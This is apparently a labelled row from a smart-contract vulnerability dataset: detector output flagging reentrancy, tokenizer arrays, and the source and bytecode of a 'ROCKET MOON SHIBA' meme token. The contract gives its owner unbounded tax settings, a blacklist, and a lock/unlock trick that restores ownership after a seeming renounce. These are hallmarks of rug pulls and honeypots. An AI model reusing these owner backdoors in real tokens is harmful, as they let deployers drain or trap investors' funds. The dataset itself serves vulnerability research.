002602052604090205561123481611404565b61123e848361144e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128391815260200190565b60405180910390a3505050505050505050565b600081836112b75760405162461bcd60e51b815260040161042091906117ba565b506000610e9484866118cd565b6008546000908190683635c9adc5dea000006112e0828261113a565b8210156112fd57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006113238a600a54600b54611472565b925092509250600061133361117c565b905060008060006113468e8787876114c7565b919e509c509a509598509396509194505050505091939550919395565b6000610f9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e63565b6000806113b283856118b5565b905083811015610f9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610420565b600061140e61117c565b9050600061141c8383611517565b3060009081526002602052604090205490915061143990826113a5565b30600090815260026020526040902055505050565b60085461145b9083611363565b60085560095461146b90826113a5565b6009555050565b600080808061148c60646114868989611517565b9061113a565b9050600061149f60646114868a89611517565b905060006114b7826114b18b86611363565b90611363565b9992985090965090945050505050565b60008080806114d68886611517565b905060006114e48887611517565b905060006114f28888611517565b90506000611504826114b18686611363565b939b939a50919850919650505050505050565b60008261152657506000610387565b600061153283856118ef565b90508261153f85836118cd565b14610f9f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610420565b80356115a181611982565b919050565b6000602082840312156115b857600080fd5b8135610f9f81611982565b6000602082840312156115d557600080fd5b8151610f9f81611982565b600080604083850312156115f357600080fd5b82356115fe81611982565b9150602083013561160e81611982565b809150509250929050565b60008060006060848603121561162e57600080fd5b833561163981611982565b9250602084013561164981611982565b929592945050506040919091013590565b6000806040838503121561166d57600080fd5b823561167881611982565b946020939093013593505050565b6000602080838503121561169957600080fd5b823567ffffffffffffffff808211156116b157600080fd5b818501915085601f8301126116c557600080fd5b8135818111156116d7576116d761196c565b8060051b604051601f19603f830116810181811085821117156116fc576116fc61196c565b604052828152858101935084860182860187018a101561171b57600080fd5b600095505b838610156117455761173181611596565b855260019590950194938601938601611720565b5098975050505050505050565b60006020828403121561176457600080fd5b8135610f9f81611997565b60006020828403121561178157600080fd5b8151610f9f81611997565b6000806000606084860312156117a157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117e7578581018301518582016040015282016117cb565b818111156117f9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118945784516001600160a01b03168352938301939183019160010161186f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118c8576118c8611940565b500190565b6000826118ea57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561190957611909611940565b500290565b60008282101561192057611920611940565b500390565b600060001982141561193957611939611940565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bc57600080fd5b80151581146104bc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202f339db4d9f3bb1229ee8e132d248648934470c31eb9e5cff9f4192a2e18742d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2683, 2487, 2546, 3207, 2509, 2278, 2692, 2620, 18827, 22907, 2575, 24434, 15136, 2581, 2575, 2509, 2546, 2509, 3540, 2581, 4215, 17914, 8889, 2487, 2063, 23632, 2546, 2509, 1013, 1008, 1008, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 5199, 12162, 11045, 2078, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,897
0x979205de40d0eb92933272e1286b42a9da011305
// TG: https://t.me/RocketMoonShiba // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ROCKETMOONSHIBA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "ROCKET MOON SHIBA"; string private _symbol = "$ROCKETMOONSHIBA"; uint8 private _decimals = 9; uint256 private _totalSupply = 1 * 10**15 * 10**9; uint256 private minimumTokensBeforeSwap = 1000 * 10**9; uint256 public _liquidityFee = 3; uint256 public _marketingFee = 5; uint256 public _RewardFee = 4; uint256 public _BurnFee = 0; uint256 public _Tax = 0; uint256 public _SniperRekt = 0; address payable public marketingWalletAddress = payable(0x08FA025242EBF9525C77E6Cc0eE33f218798A205); address payable public rewardsWalletAddress = payable(0x4C91D0E79E02C4eDd3A78057351Fe9907E3F749a); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public _maxTxAmount = 6 * 10**9 * 10**14; uint256 public _walletMax = 6 * 10**9 * 10**14; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isBlacklisted; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; _Tax = _liquidityFee.add(_marketingFee).add(_RewardFee); _SniperRekt = _Tax.add(_BurnFee); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapV2Pair)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function blacklistAddress(address account, bool newValue) public onlyOwner { isBlacklisted[account] = newValue; } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function setTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newRewardsTax, uint256 newExtraBurnFee) external onlyOwner() { _liquidityFee = newLiquidityTax; _marketingFee = newMarketingTax; _RewardFee = newRewardsTax; _BurnFee = newExtraBurnFee; _Tax = _liquidityFee.add(_marketingFee).add(_RewardFee); _SniperRekt = _Tax.add(_BurnFee); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketingWalletAddress(address newAddress) external onlyOwner() { marketingWalletAddress = payable(newAddress); } function setRewardsWalletAddress(address newAddress) external onlyOwner() { rewardsWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) //Create If Doesnt exist { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapV2Pair = newPairAddress; //Set new pair address uniswapV2Router = _uniswapV2Router; //Set new router address } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!isBlacklisted[sender] && !isBlacklisted[recipient], "To/from address is blacklisted!"); require(amount > 0, "Transfer amount must be greater than zero"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.div(_Tax).mul(_liquidityFee).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _Tax.sub(_liquidityFee.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityFee).div(totalBNBFee).div(2); uint256 amountBNBRewards = amountReceived.mul(_RewardFee).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBRewards); transferToAddressETH(marketingWalletAddress, amountBNBMarketing); transferToAddressETH(rewardsWalletAddress, amountBNBRewards); addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = recipient == uniswapV2Pair ? amount.mul(_SniperRekt).div(100) : amount.mul(_Tax).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } }
0x6080604052600436106103035760003560e01c8063715018a611610190578063c867d60b116100dc578063e4a80d7211610095578063f1d5f5171161006f578063f1d5f51714610b93578063f2fde38b14610bbc578063f872858a14610be5578063fe575a8714610c105761030a565b8063e4a80d7214610b16578063ec28438a14610b41578063ef422a1814610b6a5761030a565b8063c867d60b146109f4578063d158272d14610a31578063d470563e14610a5c578063da00097d14610a85578063dd46706414610ab0578063dd62ed3e14610ad95761030a565b8063a073d37f11610149578063a5d69d1f11610123578063a5d69d1f1461094e578063a69df4b514610977578063a9059cbb1461098e578063c49b9a80146109cb5761030a565b8063a073d37f146108bd578063a12a7d61146108e8578063a457c2d7146109115761030a565b8063715018a6146107cf5780637d1db4a5146107e6578063807c2d9c146108115780638da5cb5b1461083c57806395d89b411461086757806396db55b0146108925761030a565b8063313ce5671161024f5780634cb80fd5116102085780635881f3ef116101e25780635881f3ef146106ff578063602bc62b1461073c5780636bc87c3a1461076757806370a08231146107925761030a565b80634cb80fd51461066e5780635342acb414610697578063557ed1ba146106d45761030a565b8063313ce5671461055e57806339509351146105895780633b97084a146105c6578063455a4396146105ef57806349bd5a5e146106185780634a74bb02146106435761030a565b806322976e0d116102bc57806326b1f0f41161029657806326b1f0f4146104b257806327c8f835146104dd5780632b112e49146105085780632ecc632f146105335761030a565b806322976e0d1461042157806323b872dd1461044c5780632563ae83146104895761030a565b806306fdde031461030f578063095ea7b31461033a5780630fcd55d7146103775780631694505e146103a257806318160ddd146103cd5780632198cf6c146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c4d565b60405161033191906142b3565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190613d7b565b610cdf565b60405161036e919061427d565b60405180910390f35b34801561038357600080fd5b5061038c610cfd565b6040516103999190614475565b60405180910390f35b3480156103ae57600080fd5b506103b7610d03565b6040516103c49190614298565b60405180910390f35b3480156103d957600080fd5b506103e2610d29565b6040516103ef9190614475565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190613d3b565b610d33565b005b34801561042d57600080fd5b50610436610e23565b6040516104439190614475565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e9190613ce8565b610e29565b604051610480919061427d565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190613dbb565b610f03565b005b3480156104be57600080fd5b506104c7610fb5565b6040516104d49190614475565b60405180910390f35b3480156104e957600080fd5b506104f2610fbb565b6040516104ff91906141bd565b60405180910390f35b34801561051457600080fd5b5061051d610fdf565b60405161052a9190614475565b60405180910390f35b34801561053f57600080fd5b50610548611023565b60405161055591906141d8565b60405180910390f35b34801561056a57600080fd5b50610573611049565b604051610580919061451a565b60405180910390f35b34801561059557600080fd5b506105b060048036038101906105ab9190613d7b565b611060565b6040516105bd919061427d565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190613de8565b611113565b005b3480156105fb57600080fd5b5061061660048036038101906106119190613d3b565b6111b2565b005b34801561062457600080fd5b5061062d6112a2565b60405161063a91906141bd565b60405180910390f35b34801561064f57600080fd5b506106586112c8565b604051610665919061427d565b60405180910390f35b34801561067a57600080fd5b5061069560048036038101906106909190613c4e565b6112db565b005b3480156106a357600080fd5b506106be60048036038101906106b99190613c4e565b6113b4565b6040516106cb919061427d565b60405180910390f35b3480156106e057600080fd5b506106e96113d4565b6040516106f69190614475565b60405180910390f35b34801561070b57600080fd5b5061072660048036038101906107219190613c4e565b6113dc565b60405161073391906141bd565b60405180910390f35b34801561074857600080fd5b50610751611846565b60405161075e9190614475565b60405180910390f35b34801561077357600080fd5b5061077c611850565b6040516107899190614475565b60405180910390f35b34801561079e57600080fd5b506107b960048036038101906107b49190613c4e565b611856565b6040516107c69190614475565b60405180910390f35b3480156107db57600080fd5b506107e461189f565b005b3480156107f257600080fd5b506107fb6119f2565b6040516108089190614475565b60405180910390f35b34801561081d57600080fd5b506108266119f8565b6040516108339190614475565b60405180910390f35b34801561084857600080fd5b506108516119fe565b60405161085e91906141bd565b60405180910390f35b34801561087357600080fd5b5061087c611a27565b60405161088991906142b3565b60405180910390f35b34801561089e57600080fd5b506108a7611ab9565b6040516108b49190614475565b60405180910390f35b3480156108c957600080fd5b506108d2611abf565b6040516108df9190614475565b60405180910390f35b3480156108f457600080fd5b5061090f600480360381019061090a9190613e68565b611ac9565b005b34801561091d57600080fd5b5061093860048036038101906109339190613d7b565b611bce565b604051610945919061427d565b60405180910390f35b34801561095a57600080fd5b5061097560048036038101906109709190613dbb565b611c9b565b005b34801561098357600080fd5b5061098c611d4d565b005b34801561099a57600080fd5b506109b560048036038101906109b09190613d7b565b611f21565b6040516109c2919061427d565b60405180910390f35b3480156109d757600080fd5b506109f260048036038101906109ed9190613dbb565b611f40565b005b348015610a0057600080fd5b50610a1b6004803603810190610a169190613c4e565b612029565b604051610a28919061427d565b60405180910390f35b348015610a3d57600080fd5b50610a46612049565b604051610a5391906141d8565b60405180910390f35b348015610a6857600080fd5b50610a836004803603810190610a7e9190613c4e565b61206f565b005b348015610a9157600080fd5b50610a9a612148565b604051610aa7919061427d565b60405180910390f35b348015610abc57600080fd5b50610ad76004803603810190610ad29190613de8565b61215b565b005b348015610ae557600080fd5b50610b006004803603810190610afb9190613ca8565b612322565b604051610b0d9190614475565b60405180910390f35b348015610b2257600080fd5b50610b2b6123a9565b604051610b389190614475565b60405180910390f35b348015610b4d57600080fd5b50610b686004803603810190610b639190613de8565b6123af565b005b348015610b7657600080fd5b50610b916004803603810190610b8c9190613d3b565b61244e565b005b348015610b9f57600080fd5b50610bba6004803603810190610bb59190613de8565b61253e565b005b348015610bc857600080fd5b50610be36004803603810190610bde9190613c4e565b6125dd565b005b348015610bf157600080fd5b50610bfa61279f565b604051610c07919061427d565b60405180910390f35b348015610c1c57600080fd5b50610c376004803603810190610c329190613c4e565b6127b2565b604051610c44919061427d565b60405180910390f35b606060038054610c5c90614781565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8890614781565b8015610cd55780601f10610caa57610100808354040283529160200191610cd5565b820191906000526020600020905b81548152906001